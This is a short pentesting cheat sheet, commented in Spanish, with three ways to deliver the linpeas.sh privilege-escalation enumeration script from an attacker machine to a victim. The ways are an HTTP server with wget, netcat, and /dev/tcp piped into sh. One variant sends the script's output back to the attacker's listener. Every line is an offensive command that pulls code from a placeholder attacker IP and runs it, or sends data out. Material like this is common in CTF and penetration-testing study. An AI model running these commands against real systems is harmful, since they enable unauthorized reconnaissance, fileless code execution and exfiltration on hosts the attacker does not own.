# Máquina atacante
python3 -m http.server 80
# Máquina victima
wget http://<attacker-IP-address>:80/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh > linpeas-output.txt
# Máquina atacante
nc -q 5 -lvnp <port> < linpeas.sh
# Máquina victima
cat < /dev/tcp/<attacker-IP-address>/<port> | sh
# Máquina atacante
nc -lvnp 1234 | tee linpeas.out
nc -q 5 -lvnp 80 < linpeas.sh
# Máquina victima
cat < /dev/tcp/<attacker-IP-address>/80 | sh | nc <attacker-IP-address> 1234